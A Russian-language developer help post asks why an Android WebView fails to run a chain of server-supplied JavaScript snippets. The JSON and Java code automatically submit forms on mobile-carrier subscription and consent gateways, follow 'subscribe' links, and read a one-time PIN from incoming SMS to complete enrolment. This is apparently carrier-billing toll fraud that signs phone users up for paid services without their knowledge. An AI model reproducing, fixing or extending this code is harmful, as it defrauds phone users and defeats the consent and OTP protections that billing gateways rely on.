Я застрял с проблемой WebView, где я хочу выполнить JavaScript один за другим.
Что мне нужно сделать:
У меня есть один JSONкак показано ниже, я должен разобрать это и получить "url" и выполнить.Это будет автоматически перенаправлено на random URL, который я должен выбрать, который доступен в списке или нет.Если он доступен, я должен выполнить «urlContains» и «executeCode» в одном и том же WebView.
Этот цикл будет продолжаться до тех пор, пока я не получу ответ.
[
{
"url":"http://clixsad.adserverexchange.com/adsrv/pub?pid=OWFlNXw5ZHw5OWUxNDB8OWE=&t1=1"
},
{
"urlContains":"cgwap.vodafone.in",
"executeCode":"document.getElementById('myForm1').submit()"
},
{
"urlContains":"http://wap.bollywood.in/portal/",
"executeCode":"var ct = document.getElementsByTagName('a').length; for (var i = 0; i < ct; i++) { var href = document.getElementsByTagName('a')[i].href; if (href.substring(34,43) == 'subscribe') { window.location = href; } }"
},
{
"urlContains":"scg.icl.in",
"executeCode":"document.getElementById('qForm').submit()"
},
{
"urlContains":"125.21.241.25",
"executeCode":"document.getElementsByName('reportForm')[0].submit()"
},
{
"urlContains":"mb.timwe.com/duma/consent-gateway",
"executeCode":"document.getElementById('subscribe').submit()"
},
{
"urlContains":"mb.timwe.com/webapp-me-ma-consent-gateway-ui/cgOtpGenerate",
"executeCode":" document.getElementById('otp').value = otp ; document.getElementById('otp').submit()",
"sms":{
"msgFormat":"%pin% is your One Time PIN to subscribe to",
"executeCode":"var otp = msg.substring(0,5);"
}
}
]
Что ясделали:
Я получаю JSON с сервера с набором URL-адресов, которые я сохранил в List, и проверяю каждый раз, когда вызывается onPageFinished () .
Вот мой код:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = findViewById(R.id.webView);
//webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient() {
@Override
public void onPageFinished(WebView view, String url) {
try {
URL newUrl = new URL(url);
for (Example str : exampleList) {
if (!TextUtils.isEmpty(str.getUrlContains())) {
if (str.getUrlContains().trim().contains(newUrl.getHost())) {
view.loadUrl(str.getExecuteCode());
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
});
if (InternetConnection.checkConnection(this)) {
RetrofitInterfaces interfaces = RetrofitClient.getApiService();
Call<List<Example>> call = interfaces.getAds();
call.enqueue(new Callback<List<Example>>() {
@Override
public void onResponse(@NonNull Call<List<Example>> call, @NonNull Response<List<Example>> response) {
if (response.isSuccessful()) {
Log.d(TAG, "onResponse: " + response.body().size());
exampleList = response.body();
String url = "www.google.com";
for (Example example : exampleList) {
if (!TextUtils.isEmpty(example.getUrl())) {
url = example.getUrl();
Log.d(TAG, "onResponse: " + example.getUrl());
break;
} else if (!TextUtils.isEmpty(example.getUrlContains()) && !TextUtils.isEmpty(example.getExecuteCode())) {
url = example.getUrlContains();
javaScript = example.getExecuteCode();
if (example.getSms() != null) {
Sms sms = example.getSms();
String messageFormat = sms.getMsgFormat();
String executeCodeSMS = sms.getExecuteCode();
}
}
}
webView.loadUrl(url);
}
}
@Override
public void onFailure(@NonNull Call<List<Example>> call, @NonNull Throwable t) {
Log.e("TAG", "onFailure: " + t.getLocalizedMessage());
}
});
}
}
Он успешно получает первый URL, если получает аналогичный хост, но не работает постоянно.
Любая помощь?